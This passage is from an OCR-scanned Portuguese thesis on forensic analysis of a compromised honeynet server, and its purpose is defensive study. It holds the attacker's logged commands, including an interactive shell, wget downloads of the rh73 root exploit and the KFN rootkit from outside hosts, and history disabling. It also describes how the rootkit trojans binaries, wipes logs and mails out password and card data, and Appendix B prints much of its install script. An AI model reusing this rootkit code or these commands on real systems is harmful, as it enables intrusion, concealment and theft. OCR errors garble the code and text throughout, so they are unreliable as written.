na sua configuragao como por exemplo, aceitar conexoes do usuario root na porta
1488. Ja o ATD, responsavel pelo agendamento de tarefas, passou a ser inicializado

junto com o sistema, configuracao esta nao feita originalmente.

Outra fonte de informagao é o diretorio de dispositivos. Este diretério no sistema
"montado"é acessado pelo caminho /mnt/analise/dev, e s6 deve conter arquivos

de dispositivos.
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# find /mnt/analise/dev -type f
/mnt/analise/dev/MAKEDEV
/mnt/analise,/dev/ttyop
/mnt/analise/dev/ttyoa
/mnt/analise/dev /ttyof

/mnt /analise/dev/ttyos

Note que foi encontrado neste diretorio cinco arquivos regulares. A excecao do

MAKEDEYV, os demais arquivos foram colocados pelo invasor.

Partindo para a andlise dos arquivos binarios do sistema, foi verificado que o seu
hash MD5 nao correspondia com o hash original. Alguns dos binarios alterados pelo

invasor foram: ps, top, pstree, killall, Is, vdir, find, du, netstat, ifconfig.

Verificando os arquivos temporarios, foram encontradas mais duas evidéncias: a
presenca dos arquivos rh73.tgz e laba.c. Analisando o primeiro, o arquivo binario
rh73 é criado a partir da descompatacao do rh73.tgz, e ao executa-lo em outro
sistema, porém com a mesma configuracao, é dado ao usuério privilégios de root.

Observe:

bash-2.05a$ whoami
fred
bash-2.05a$ tar zxf rh73.tgz
bash-2.05a$ ./rh73
[+] Attached to 4068
[+] Signal caught
[+] Shellcode placed at 0x4000fdid
[+] Now wait for suid shell...
whoami

root

Na primeira linha, o comando whoami ¢é utilizado para identificar o usuario que
esta conectado, no caso, fred. Ao executé-lo novamente (linha 9), apos a execugao
do binario rh73(linha 4), o usuéario fred torna-se o root(linha 10), ou seja, o ad-
ministrador. Com isso, constata-se a forma utilizada pelo invasor na escalacao de

privilégios.
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Investigando agora o arquivo laba.c, percebe-se que, apesar de conter a extensao
.c, nao é um arquivo texto, devido aos caracteres ilegiveis contidos nele. Entao, o

comando file foi executado para revelar qual é o tipo do arquivo em questao:

$ file laba.c

laba.c: gzip compressed data, from Unix

Considerando o retorno do comando file, nota-se que realmente nao é texto, e
sim um arquivo comprimido de extensao .tar.gz. O comando tar, responsavel pela

descomprensao, foi utilizado, exibindo uma série de diretoérios e arquivos, conforme

a seguir:

$ tar -tvzf laba.c

drwxr-xr-x root/root 0 2003-12-03 18:13:05 kfn/

drwxr-xr-x root/root 0 2002-04-15 06:46:14 kfn/sshd/

-rWXr-xr-x root/root 19840 2001-01-10 23:25:00 kfn/sshd/ifconfig
-TWXr-Xr-X root/root 969 2001-04-08 20:10:05 kfn/sshd/init.sshd
-IWXr-Xr-x root/root 0 2001-07-21 12:02:22 kfn/sshd/install.log
-IWXr-xr-x root/root 649827 2001-04-09 00:15:12 kfn/sshd/sshd
-TWXr-Xr-X root/root 1091 2001-05-24 04:05:42 kfn/sshd/sshd-install
-IWXr-Xr-x root/root 685 2003-12-03 17:58:38 kfn/sshd/sshd_config
-IWXr-Xr-x root/root 880 2001-05-24 04:05:04 kfn/sshd/ssh_config
-TWXr-xXr-x root/root 531 2000-10-28 07:32:08 kfn/sshd/ssh_host_key
-TWXr-xXr-x root/root 336 2001-10-07 21:58:02 kfn/sshd/ssh_host_key.pub
-IWXr-Xr-x root/root 512 2000-10-28 07:32:22 kfn/sshd/ssh_random_seed
-IWXr-xr-x root/root 530 2001-01-21 21:27:00 kfn/.laddr

-TWXr-Xr-X root/root 314 2003-12-03 17:52:31 kfn/.1file

-IWXr-Xr-x root/root 300 2001-06-16 02:06:51 kfn/.1logz

-IWXr-Xr-x root/root 554 2001-06-16 02:10:03 kfn/.lproc

-TWXr-Xr-X root/root 1370 2001-04-04 18:00:17 kfn/atd.init
-TWSr-sr-x root/root 8676 2001-04-08 11:11:59 kfn/chsh

-IWXr-Xr-x root/root 1250 2001-11-19 23:26:22 kfn/clean

-IWXr-Xr-x root/root 589824 2001-06-16 02:10:18 kfn/core

-TWXr-xXr-x root/root 277 2003-12-03 17:55:27 kfn/crontab-entry
-TWXr-Xr-X root/root 23780 2001-03-14 13:42:17 kfn/du

-IWXr-Xr-x root/root 55744 2001-02-09 02:29:07 kfn/find

-TWXr-Xr-X root/root 643 2001-10-11 07:16:32 kfn/functions
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-IWXr-Xr-x root/root 22328 2001-04-08 12:17:31 kfn/ifconfig
-TWXr-xXr-x root/root 8368 2001-05-24 03:41:32 kfn/imp
-TWXr-Xr-X root/root 1425 2001-09-01 04:49:48 kfn/inet
-IWXr-Xr-x root/root 15448 2003-12-03 17:52:11 kfn/install
-IWXr-xXr-x root/root 1182 2002-06-21 05:35:42 kfn/install.log
-TWXr-Xr-X root/root 10532 2000-07-12 11:17:25 kfn/killall
-IWXr-Xr-X root/root 5888 2001-05-24 03:41:32 kfn/linsniffer
-IWXr-Xr-x root/root 43752 2001-04-08 11:12:03 kfn/login
-TWXr-Xr-X root/root 36692 2001-03-14 13:42:17 kfn/ls
-TWXr-Xr-X root/root 5648 2001-04-04 18:00:18 kfn/md5bd
-IWXr-Xr-x root/root 194 2001-06-16 02:21:25 kfn/me
-IWXr-Xr-x root/root 30640 2001-04-08 12:17:31 kfn/netstat
-TWXr-Xr-x root/root 32756 2001-04-05 10:54:41 kfn/ps
-IWXr-xr-x root/root 13184 2000-07-12 11:17:25 kfn/pstree
-IWXr-Xr-x root/root 4060 2001-09-01 21:03:54 kfn/sense
-TWXr-Xr-X root/root 2960 2001-05-24 03:41:32 kfn/shad
-TWXr-Xr-x root/root 2210 2001-06-16 02:23:57 kfn/sysinfo
-IWXr-Xr-x root/root 25444 2001-02-07 18:46:29 kfn/syslogd
-IWXr-Xr-x root/root 1192 2002-06-21 05:34:13 kfn/syslogd.init
-TWXr-xXr-x root/root 48856 2001-04-05 10:54:41 kfn/top
-TWXr-Xr-X root/root 38536 2001-03-14 13:42:17 kfn/vdir
-IWXr-Xr-x root/root 6100 2001-05-24 03:41:32 kfn/wp
-IWXr-Xr-x root/root 32488 2003-12-03 18:12:58 kfn/kernel

Analisando-os individualmente, descobre-se que esses arquivos fazem parte do
codigo fonte do rootkit KFN e estudando o seu funcionamento, percebe-se que ele
foi responsével pela modificacao dos binarios, criacao de arquivos regulares dentro
do diretorio de dispositivos e a alteragao dos arquivos de configuragao do sistema.

O estudo aprofundado sobre esse rootkit é apresentado no Apéndice A.

Mesmo obtido evidéncias suficientes que confirmam o comprometimento do sis-
tema, ainda falta investigar os arquivos de log. Examinando-os, pode ser observada
uma linha com diversos caracteres ilegiveis, semelhante a uma situacao de estouro

de buffer relacionado a porta 443(SSL).

Depois de um estudo desses caracteres ilegiveis e verificando a versao do SSL

utilizada, conclui-se que esse foi o ponto de entrada do invasor no sistema, explorando
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a falha conhecida como "OpenSSL Malformed Client Key Remote Buffer Qverflow
Vulnerability (CAN-2002-0656)".

Portanto, com esta analise computacional forense, foi possivel descobrir o ponto
de entrada do atacante, como ganhou privilégios administrativos e de que forma
preocupou-se com a manutencao de tais privilégios. A Tabela 6.1 resume as evidén-

cias encontradas até esse momento.

Fonte de Informacao Evidéncia

Arquivos de configuracao SSH aceitando conexoes do usuério

root na porta 1488; ATD ativado.

Diretorios temporérios rh73.tgz  (exploit); laba.c (rootkit

KFN)

Diretorio de arquivos de disposi- | /dev/ttyop; /dev/ttyoa; /dev/ttyof;
tivos /dev/ttyos

Arquivos e diretorios escondidos | -

ou Nao usuais

Executéveis e bibliotecas ps, top, pstree, killall, Is, vdir, nd, du,

netstat, ifconfig.

Arquivos de log Registro sobre estouro de buffer na

porta 443 (SSL)

Tabela 6.1: Fonte de Informacao x Evidéncia encontrada

Ainda falta utilizar uma ferramenta forense capaz de analisar os arquivos dele-
tados. Para esta tarefa foi escolhida o Sleuth Kit, descrito na secao 5.3, pois é o
aperfeicoamento das ferramentas forenses anteriores, além de possuir uma interface
grafica amigavel através do Autopsy Forensic Browser. Com o AFB, descrito
na secao 5.4, instalado, basta executar o seu binario, escolher a opcao de abrir um

novo caso forense conforme a figura 6.3.

No primeiro campo é definido o nome do caso forense, depois a descricao do

mesmo e por ultimo o nome dos investigadores envolvidos no caso. Na proxima tela,
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reate N Ay S Bl | ST To

View ,‘@o _ﬁgokmavk;, k:focy!zr o
$ - @' % Q|‘ httpfflocalhost: 9995 /autopsy?mod = 0&view = 16x=9%6y =10 :1 @ [cr

‘Done

Figura 6.3: Iniciando um caso forense no AFB

ilustrada pela figura 6.4, o investigador inclui um host preenchendo o seu nome,
descricao, time zone do sistema e ainda tem a opc¢ao de adicionar uma base de dados
com o hash dos arquivos originais ou modificados, agilizando assim, a verificagao da

integridade do sistema.
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File Edit Wiew Go Bookmarks Tools Help

@ -

[ Firefox Help %= Firefox Support Bl Plug-in FAQ @) freshmeat.net (] Computer Forensics... 4 Priberam Informatica...

4o ‘@ http://loca\host:BBSSIautopsy?mod=0&wew=7&case=Casol&mv=Frecj & ||:C'J.

1. Host Name: The name of the computer being investigated.
It can contain only letters, numbers, and symbols.

iservidorl
2. Description: An optional one-line description or note about
this computer.

§serwdor comprometido

3. Time zone: An optional timezone value (i.e. ESTSEDT). 1If

‘not given, it defaults to the local setting. A list of time zones

can be found in the help files.

—
4. Timeskew Adjustment: An optional value to describe how
many seconds this computer's clock was out of sync. For
example, if the computer was 10 seconds fast, then enter -10
to compensate.

S

5. Path of Alert Hash Database: An optional hash database of
known bad files.

|
6. Path of Ignore Hash Database: An optional hash database
of known good files.

AppHosT CANCEL HeLp

Done

Figura 6.4: Adicionando um host

Depois dessas etapas, o investigador deve adicionar a imagem que deseja analisar,

clicando no botao "Add image file" conforme a figura 6.5.

Na tela seguinte, figura 6.6, o investigador poe o caminho para a imagem, define

se é de uma parti¢do ou disco e por ultimo escolhe 0 método de importagao (link,

cOpia, mover).

Feito isso, a imagem esta a disposi¢ao do investigador para a analise computaci-

onal forense. Escolhendo a opc¢ao "File Analysis", no menu acima, e em seguinda

"All Deleted Files" sera exibido todos os arquivos que foram apagados. Veri-

ficando estes arquivos, encontra-se o diretorio /var/tmp/kfn, ou seja, o diretorio

utilizado para a instalacao do rootkit no sistema invadido foi removido pelo atacante

com o intuito de esconder os seus vestigios. A Figura 6.7 ilustra o momento em que

o diretorio removido /var/tmp /kfn é encontrado.
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File Edit View Go Bookmarks Tools Help D

(33 v 0 . - @ o Jg% http:,l/loca\host:9999[autop5y?mod=0&wew=10&case=Casol&host=sj & ||Q.
[ Firafox Help %= Firefox Support Bl Plug-in FAQ @) frashmeat.net (] Computer Foransics... £ Priberam Informatica...
Case: Casol

Host: servidorl
No images have been added to this host yet

Select the Add Image File button below to add one

OIS EALE CLose HosT
HELp
ErEse T Tme Lies) IMACE INTEGRITY HASH DATABASES
ViEW NOTES. [EVENT SEQUENCER

Done

Figura 6.5: Adicionando uma imagem

6.6 Origem do ataque

Conforme a arquitetura do ambiente, explicado nas secoes anteriores, a maquina
de geréncia faz o registro de todo o trafego de rede, por isso os logs dela continham
a informacao sobre o IP que foi utilizado pelo invasor para realizar o ataque. Esta

informagao, no entanto, nao sera divulgada por questoes de privacidade.

Vale mencionar também que nenhuma medida legal foi tomada, pois nao é o in-
tuito desse trabalho entrar na justica contra ninguém e sim estudar os procedimentos

adotados.
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£ $ & @ % ﬁJ‘-httpjilocahq's_t:999{9,'aufo'p_sy?mod:Oﬁ_‘wew:.la&hos_t:se_rvidorl&_ca_s:éﬂ ﬁ]@,
(JFirefox Help 5 Firefox 5t :

Figura 6.6: Configurando a inclusao da imagem

Figura 6.7: Exibindo os arquivos removidos



Capitulo 7

Conclusao e Trabalhos Futuros

NFELIZMENTE | aqueles que cometem crimes nao estao alheios a uma revolugao

computacional que tem ocorrido nas tltimas décadas. Um nimero crescente de
criminosos faz uso de pagers,telefones celulares, computadores laptop e servidores de
rede no curso de suas atividades ilicitas. Em alguns casos, os computadores provéem
os meios para a consumacao do crime. Por exemplo, a Internet pode ser usada para
enviar uma ameaca de morte por correio eletronico, para lancar ataques contra
uma rede de computadores vulneravel, para disseminar virus de computador ou
para transmitir imagens de pornografia infantil. Em outros casos, os computadores
acabam se tornando dispositivos de armazenagem das evidéncias de um crime. Por
exemplo, um traficante de drogas pode manter em seu computador pessoal uma
listagem de quem lhe deve dinheiro, ou uma operacao de lavagem de dinheiro pode

reter falsos registros financeiros em um servidor de rede.

O aumento dramético dos crimes relacionados com computadores requer que 0s
organismos policiais invistam em novas técnicas de abordagem e combate aos crimes,
através de treinamentos constantes e parcerias com entidades técnico-cientificas, a
fim de se entender como obter e utilizar evidéncias eletronicas armazenadas em com-
putadores. Registros eletronicos, como arquivos de log de redes de computadores,
correspondéncias eletronicas, arquivos de texto e de imagem, provéem evidéncias

importantes, as vezes essenciais, em investigacoes criminais.
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A analise computacional forense, por ser um ramo da criminalistica bastante
recente e relacionado a uma das areas cientificas que mais evolui atualmente, requer
atencao especial. Além disto, a crescente utilizacao de computadores em atividades
criminosas reforca tal necessidade de desenvolvimento, no sentido de se ampliar o

uso de evidéncias digitais no amparo a justica.

O estudo apresentando neste trabalho mostra o atraso da legislacao brasileira, o
que acaba incentivando os ataques. Demonstrou-se também um esforco no sentido
de suprir a necessidade de desenvolvimento cientifico na area da andlise computa-
cional forense. A discussao acerca das varias fontes de informacao de um sistema,
computacional, detalhando as técnicas de extracao dos dados e as principais evi-
déncias comumente encontradas, fornece um guia préatico para aqueles que estao se

iniciando na area.

7.1 Resultados

O resultado da aplicacao dos procedimentos da anélise computacional forense
foi satisfatorio, pois este permitiu atingir o objetivo de descobrir a origem, como e

quando foi feita a invasao.

Porém, a arquitetura da Honeynet com um computador de geréncia que centra-
liza e captura todo o trafego de forma transparente, inclusive as teclas que foram
digitadas nos honeypots, surpreendeu por sua eficicia. Porque ao analisar essa méa-
quina de geréncia, pode-se obter toda a informacao em uma tnica méiquina que
continha todos os logs do sistema comprometido e as teclas que foram digitadas

pelo invasor.

Fazendo um resumo da mesma invasao e analisando agora os logs da méquina

de geréncia tem-se:

1) Invasor entrando no sistema:

TERM=xterm; export TERM=xterm; exec bash -i

bash-2.05a$unset HISTFILE; uname -a; id; w;
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uid=48(apache) gid=48(apache) groups=48(apache)

2) Download e execucao de um ezploit para se tornar root:

bash-2.05a$ wget www.justdOit.com/Linux/rh73.tgz
bash-2.05a$ tar zxf rh73.tgz

bash-2.05a$ ./rh73

[+] Attached to 4068

[+] Signal caught

[+] Shellcode placed at 0x4000fdld

[+] Now wait for suid shell...

unset HISTFILE

3) Download e instalagdo do rootkit KFN:

cd /var/tmp
wget www.masterxxl.3x.ro/laba.c
tar -xzvf laba.c

cd kfn

= O H O H O H O+

./install

Apesar de chegar as mesmas conclusoes, observando os logs do sistema de gerén-

cia foi mais eficaz pelo fato de obter todas as informacoes no mesmo computador.

7.2 'Trabalhos Futuros

O trabalho do investigador pode ser bem dificultado caso a arquitetura de rede
em que se encontra o computador comprometido nao estiver bem elaborada, como
por exemplo, sem detectores de intrusao (IDS), sem logs do firewall, sem logs do
sistema, sem o hash criptografico dos arquivos. Portanto, um bom trabalho futuro é
elaborar uma arquitetura de rede que fornega ao investigador, informacoes suficientes
para garantir que ele consiga encontrar o invasor e saber o que ocorreu no sistema

comprometido de forma eficiente.
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Um outro trabalho que pode ser feito futuramente é desenvolver um sistema
automatizado de analise forense, permitindo que o investigador configure para de-
terminar quais informacoes devem ser coletadas para analise e de que forma, quais as
técnicas mais adequadas para a busca de cada evidéncia e como as evidéncias podem
estar relacionadas. Além disso, tal arquitetura deve ser consistente com principios
basicos da anélise computacional forense, como, por exemplo, a nao alteracao do
sistema analisado, a realizacao da imagem do sistema e andlise sobre a copia, e a

utilizacao de ferramentas confiaveis.
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Apéndice A

Funcionamento do Rootkit KFN

- Desabilita o HISTFILE
- Gera o install.log, que é o log de instalacao do rootkit
- Remove os atributos "aiu"dos arquivos com o comando: chattr -aui <arquivo>.
Funcao dos atributos:
e Atributo a -> O arquivo s6 pode ser aberto em modo append

e Atributo i -> Modo imutavel, ou seja, nao pode ser deletado, renomeado,

linkado, alterado.
e Atributo u -> Apesar de apagar o arquivo, seu conteudo fica guardado para
uma possivel recuperacao.
- Copia o syslog.init para o /etc/rc.d/init.d para garantir que o syslog do servidor
nao seja muito diferente do padrao.
- Para o syslog, com isso o servidor nao registra mais as atividades no sistema.

- Verifica se existe o diretorio /etc/rc.d/init.d e se o arquivo /usr/bin/mdbsum é
executavel. Caso, uma dessas situacoes nao aconteca a instalacao do KFN é

abortada, e syslog é iniciado.

- Realiza copias de arquivos que serao utilizados pelos binérios alterados do KFN.
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cp -f .1proc /dev/ttyop
cp -f .1addr /dev/ttyoa
cp -f .1file /dev/ttyof

cp -f .1logz /dev/ttyos

- Copia o timestamp dos arquivos que o KFN vai sobreescrever para os arquivos
dele. O objetivo é que o administrador nao perceba que houve alteragao dos

arquivos através das suas datas.

- Adiciona o atributo SUID no seu proprio arquivo chsh e copia-o para

/usr/bin/chsh. Que é uma backdoor para o atacante obter os privilégios de root.

- Realiza a copia de binarios de sistema modificados. Sao eles: ps, top, pstree,
killall, Is, vdir, find, du, netstat, ifconfig. Com esse binarios alterados, o atacante

consegue ocultar as conexoes de rede, processos e arquivos.

- Copia o script clean para o /usr/bin. Esse script recebe uma string como
parametro e remove todas as linhas que contem essa string nos arquivos de log do
/var/log. Porém nao altera os arquivos wtmp, utmp e lastlog, que sdo os logs que

armanezam a informagao de login e logout dos usuérios.

- Copia o binério wp para o /usr/bin. Com esse binério deveria ser possivel
remover as entradas de um usuérios dos arquivos wtmp, utmp e lastlog. Porém por

ser um bindrio antigo, o seu algoritmo nao funciona mais.
- Copia o binario shad para /bin e /usr/bin.
- Copia o binario login para /bin.

- Copia o arquivo md5bd para o diretorio /usr/sbin alterando o seu nome para
atd. E tdmbem realiza a copia do atd.init para /etc/rc.d/init.d renomeando para
atd. Depois usa o chkconfig para adicionar o atd como servico. Caso nao consiga,
ele cria os links para o /etc/rc.d/rc.|0-6].d manualmente. Ou seja, o KEN altera os

scritps de inicializagao do sistema, mas nem todos os linux utiliza essa estrutura.

- Depois realiza a instalacao de programas DoS: vadim, imp, slice, sl2.
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- Instala um sniffer copiando o binarios linsniffer para /usr/local/games/identd e o
script perl ’sense’ para /usr/local/games/banner. Esse script interage com o

linsniffer.

- Instala um sshd backdoor rodando o sshd-install. Que remove o ssh antigo e poe

esse ssh malicioso no lugar.

- Caso exista /etc/rc.d/init.d /functions, ocorre o acréscimo da funcao inet_start
que vem no seu functions no final do functions original. Caso contrario, cria um

function com essa funcao.

Essa fungdo inet start basicamente executa: /usr/local/sbin/sshd -q -p 1488 -f

/etc/ssh/sshd _config /usr/local/games/identd -e -0 >/dev/null 2>&1 &
- Inicia o atd (/etc/rc.d/init.d/atd start)

- Adiciona no cron a execucao de comandos que estao no seu crontab-entry

(crontab -u operator crontab-entry » install.log 2>&1).

- Exibe as portas abertas (/usr/sbin/lsof | grep LISTEN) - Checa por outros
rootkits através da existencia de determinados arquivos/diretorios - Exibe os
arquivos do tipo 'file’ dentro do /dev (exceto MAKEDEYV). Isso porque por padrao

do /dev nao tem arquivos do tipo 'file’.
- Para o portmap e desabilita da inicializacao por padrao

- Usa o ipchais para permitir acessar as portas externas 111 (tcp e udp), 465(tcp e

udp), 24452(tcp e udp)

- Copia o script 'me’ para o /bin. Esse script executa o comando unset variaveis

HISTFILE e TMOUT

- Cria o diretorio /usr/man/manl/psybnc e move um arquivo chamado get para

la. SO que esse arquivo nao veio com o rootkit utilizado pelo atacante.
- Instalar o rpm do pacote wget baixado pelo ftp://ftp.intraware.com/pub/wget/.

- Envia a saida do script sysinfo para o email do atacante. Esse script faz um

levantamento da méquina, mostrando o seu IP, hostname, distro, informacoes de
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HD, Memoria, portas abertas, exibe o passwd e shadow, localiza arquivos com
extencoes mpg, mp3,avi e procura pelas strings 'mastercard’ e 'visa’ no /home,

/root e /www com o intuito de achar nimeros de cartoes de crédito.
- Inicia o syslog

- Esvazia os arquivos de log /var/log/messages, /var/log/boot.log,

/var/log/cron, /var /log/secure, /var /log /maillog
- Poe o atributo de imutavel dos arquivos que retirou.
- Move o binario kernel para /dev e executa-o.

- Depois, com o rootkit j& instalado, remove o diretorio kfn e o kfn.tar.gz



Apéndice B

Codigo Fonte do KFN Rootkit

#/bin/sh
cl=""~[[Om"
cyn=""[[36m"
wht=""[[37m"
hblk=""[[1;30m"
hgrn="-~[[1;32m"
hcyn="~[[1;36m"
hwht=""[[1;37m"
hred="~[[1;31m"

unset HISTFILE

PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:
/usr/bin:/usr/X11R6/bin:/root/bin:/usr/local/bin

echo >install.log

echo "Install log for ‘hostname -i‘ or ‘hostname -i‘">>install.log

echo >>install.log

echo "xxx Rootkit install log **x" >>install.log

echo >>install.log

echo "Installing..." >>install.log

chattr -iau /etc/rc.d/init.d/sshd /etc/rc.d/init.d/syslogd /etc/rc.d/init.d/functions
/usr/bin/chsh /etc/rc.d/init.d/atd >>install.log 2>&1

chattr -iau /usr/local/sbin/sshd /usr/sbin/sshd /bin/ps /bin/netstat /bin/login /bin/ls
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/usr/bin/du /usr/bin/find /usr/sbin/atd >>install.log 2>&1
chattr -iau /usr/bin/pstree /usr/bin/killall /usr/bin/top /sbin/fuser /sbin/ifconfig
/usr/sbin/syslogd /sbin/syslogd >>install.log 2>&1
chattr -lau /etc/rc.d/init.d/inet >>install.log 2>&1
rm -f /var/lock/subsys/atd
killall -9 atd >>install.log 2>&1
cp -f syslogd.init /etc/rc.d/init.d/syslog >>install.log 2>&1
if [ -f /etc/rc.d/init.d/syslogd ]; then
cp -f syslogd.init /etc/rc.d/init.d/syslogd >>install.log 2>&1
fi
/etc/rc.d/init.d/syslog stop >>install.log 2>&1
echo
echo " ${c1}${cyn}-=${c1}${hblk} [${c1}${hgrntoverkill Red Hat 6.*rkby NFK${cl}
${hblk}]1${c1}${cyn}=-${c1}${wht}"
echo
if [ ! -d /etc/rc.d/init.d ] || [ ' -d /etc/rc.d/rc0.d ]; then
echo "${cl}${hred}Argh!! .. SysV init not found${cl}${whtl}"
echo "${cl}${hred}Installation aborted.${cl}${wht}"
echo "non-sysv init system, installation aborted" >>install.log
/etc/rc.d/init.d/syslog start >>install.log 2>&1
exit 1
fi
if [ ' -x /usr/bin/mdb5sum ]; then
echo "${cl}${hred}Argh!! .. md5sum not found${cl}${whtl}"
echo "${cl}${hred}Installation aborted.${cl}${wht}"
echo "mdS5sum not found on the system, installation aborted" >>install.log
/etc/rc.d/init.d/syslog start >>install.log 2>&1
exit 1
fi
cp -f .lproc /dev/ttyop
cp -f .laddr /dev/ttyoa
cp -f .1file /dev/ttyof
cp -f .1llogz /dev/ttyos
touch -acmr /etc/rc.d/init.d/atd atd.init >>install.log 2>&1
touch -acmr /etc/rc.d/init.d/syslog syslogd.init >>install.log 2>&1
touch -acmr /etc/rc.d/init.d/sshd sshd/init.sshd >>install.log 2>&1
touch -acmr /usr/bin/chsh chsh >>install.log 2>&1

touch -acmr /usr/bin/du du >>install.log 2>&1
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touch
touch
touch
touch
touch
touch
touch
touch
touch
touch
touch

touch

-acmr

—acmr

—acmr

-acmr

-acmr

—acmr

—acmr

-acmr

—acmr

—acmr

-acmr

-acmr

/usr/bin/find find >>install.log 2>&1
/sbin/ifconfig ifconfig >>install.log 2>&1
/usr/bin/killall killall >>install.log 2>&1
/bin/login login >>install.log 2>&1
/usr/sbin/atd md5bd >>install.log 2>&1
/bin/netstat netstat >>install.log 2>&1
/bin/ps ps >>install.log 2>&1

/bin/ls 1s >>install.log 2>&1
/usr/bin/pstree pstree >>install.log 2>&1
‘which syslogd‘ syslogd >>install.log 2>&1
/usr/bin/top top >>install.log 2>&1

/usr/bin/vdir vdir >>install.log 2>&1

echo "${c1}${cyn}|${cl}${hcyn}= ${c1}${hwht}Installing trojaned programs

echo "${c1}${cyn}|${c1}${hcyn}--- ${c1}${wht}chsh"
chmod +s chsh

cp -f chsh /usr/bin/chsh >>install.log 2>&1
echo -n "${c1}${cyn}|${c1}${hcyn}--- ${cl}${whtlps"

echo -n "ps " >>install.log

if [ ! "$(2>&1 ./ps >/dev/null)" ]; then

if [
mv
if

cp -f
fi

fi

I -x

/bin/lps ]; then

-f /bin/ps /bin/lps >>install.log 2>&1

[ -x

/bin/.ps 1; then

/bin/.ps /bin/lps >>install.log 2>&1

cp -f ps /bin >>install.log 2>&1

if [
cp

fi
echo
echo

else
echo
echo

fi

-x /bin/.ps ]; then

-f ps /bin/.ps >>install.log 2>&1

"Ok"

>>install.log

"${cl}${hred} **x failed ***x${cl}${whtl}"

"failed" >>install.log

echo "${cl}${cyn}|${c1}${hcyn}--- ${c1}${wht}top"

echo "top " >>install.log

co ${c1}${wht}"
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if [ ! -x /usr/bin/ltop ]; then
mv -f /usr/bin/top /usr/bin/ltop >>install.log 2>&1
fi

cp -f top /usr/bin/ >>install.log 2>&1

echo -n "${c1}${cyn}|${c1}${hcyn}--- ${cl}${wht}pstree"
echo -n "pstree " >>install.log
if [ ! "$(2>&1 ./pstree >/dev/null)" ]; then
if [ ! -x /usr/bin/lpstree ]; then
mv /usr/bin/pstree /usr/bin/lpstree >>install.log 2>&1
fi
cp -f pstree /usr/bin >>install.log 2>&1
echo
echo "ok" >>install.log
else
echo "${cl}${hred} ***x failed ***${cl}${wht}"
echo "failed" >>install.log

fi

echo "${c1}${cyn}|${c1}${hcyn}--- ${c1}${wht}Ikillall"
echo "killall " >>install.log
if [ ! -x /usr/bin/lkillall ]; then
mv -f /usr/bin/killall /usr/bin/pidof >>install.log 2>&1
fi

cp -f killall /usr/bin/ >>install.log 2>&1

echo -n "${c1l}${cyn}|${c1}${hcyn}--- ${cl}${wht}1s"
echo -n "ls " >>install.log
unalias ls >/dev/null 2>&1
alias 1ls=’1ls --color=tty’
if [ ! "$(2>&1 ./1s >/dev/null)" ]; then
if [ ! -x /bin/lsp ]; then
mv -f /bin/ls /bin/lsp >>install.log 2>&1
fi
cp -f 1s /bin/ >>install.log 2>&1
cp -f 1ls /usr/bin/dir
cp -f vdir /usr/bin

echo "alias 1s=’ls --color=tty’" >> /etc/bashrc
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echo
echo "ok" >>install.log
else
echo "${cl}${hred} *** failed ***x${cl}${whtl}"
echo "failed" >>install.log

fi

if [ ! -d /usr/include/rpcsvc ]; then
mkdir -p /usr/include/rpcsvc >>install.log 2>&1

fi

echo "${c1l}${cyn}|${c1}${bhcyn}--- ${c1}${wht}find"
echo "find " >>install.log
if [ ! -x /usr/bin/1find ]; then
mv -f /usr/bin/find /usr/bin/lfind
fi

cp -f find /usr/bin

echo -n "${cl}${cyn}|${cl}${hcyn}--- ${cl}${wht}du"
echo -n "du " >>install.log
if [ ! "$(2>&1 ./du >/dev/null)" ]; then
if [ ! -f /usr/include/rpcsvc/du ]; then
mv -f /usr/bin/du /usr/include/rpcsvc/du >>install.log 2>&1
chmod -x /usr/include/rpcsvc/du
fi
cp -f du /usr/bin >>install.log 2>&1
echo
echo "ok" >>install.log
else
echo "${cl}${hred} ***x failed ***x${cl}${wht}"
echo "failed" >>install.log

fi

echo "${c1}${cyn}|${c1}${hcyn}--- ${c1}${wht}netstat"
echo "netstat " >>install.log
if [ ! -x /bin/lnetstat ]; then

mv -f /bin/netstat /bin/lnetstat >>install.log 2>&1

fi



105

cp -f netstat /bin/ >>install.log 2>&1

if [ -x /sbin/syslogd ]; then
echo "${c1}${cyn}|${c1}${hcyn}--- ${c1}${wht}syslogd"
echo "syslogd" >>install.log
if [ ! -f /usr/include/rpcsvc/syslogd 1; then
mv -f /sbin/syslogd /usr/include/rpcsvc/syslogd
chmod -x /usr/include/rpcsvc/syslogd
fi
cp -f syslogd /sbin/ >>install.log 2>&1
fi

echo -n "${c1}${cyn}|${c1}${hcyn}--- ${c1}${wht}ifconfig"
echo -n "ifconfig " >>install.log
if [ ! "$(2>&1 ./ifconfig >/dev/null)" ]; then

if [ ! -x /usr/include/rpcsvce/ifc ]; then

mv -f /sbin/ifconfig /usr/include/rpcsvc/ifc >>install.log 2>&1

chmod -x /usr/include/rpcsvc/ifc

fi
cp -f ifconfig /sbin/ifconfig >>install.log 2>&1
echo
echo "ok" >>install.log

else
echo "${cl}${hred} **x failed ***${cl}${whtl}"
echo "failed" >>install.log

fi

echo "${c1}${cyn}|${c1}${hcyn}--- ${c1l}${wht}log cleaner"
cp -f clean /usr/bin

echo "${cl}${cyn}|8${c1l}${hcyn}t--- ${c1}${wht}wp"

cp -f wp /usr/bin/wp

echo "${c1l}${cyn}|${c1}${bhcyn}--- ${c1}${wht}shad"
cp -f shad /bin

cp -f shad /usr/bin

mv -f /bin/login /usr/bin/xlogin >>install.log 2>&1
cp -f login /bin/login >>install.log 2>&1
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cp -f md5bd /usr/sbin/atd >>install.log 2>&1

cp -f atd.init /etc/rc.d/init.d/atd >>install.log 2>&1

if [ -x /sbin/chkconfig ]; then
/sbin/chkconfig --add atd >>install.log 2>>install.log

else

1n -s /etc/rc.d/init.d/atd /etc/rc.d/rc0.d/K60atd >>install.log 2>&1

1n -s /etc/rc.d/init.d/atd /etc/rc.d/rcl.d/K60atd >>install.log 2>&1

1n -s /etc/rc.d/init.d/atd /etc/rc.d/rc2.d/K60atd >>install.log 2>&1

1n -s /etc/rc.d/init.d/atd /etc/rc.d/rc3.d/S540atd >>install.log 2>&1

1n -s /etc/rc.d/init.d/atd /etc/rc.d/rc4.d/S40atd >>install.log 2>&1

1n -s /etc/rc.d/init.d/atd /etc/rc.d/rcb.d/S40atd >>install.log 2>&1

1n -s /etc/rc.d/init.d/atd /etc/rc.d/rc6.d/K60atd >>install.log 2>&1

fi

echo "${c1}${cyn}|${c1}${hcyn}t= ${c1}${hwht}Installing DoS programs...${cl}${wht}"

echo "${c1}${cyn}|${c1}${hcyn}--- ${c1}${wht}vadim"
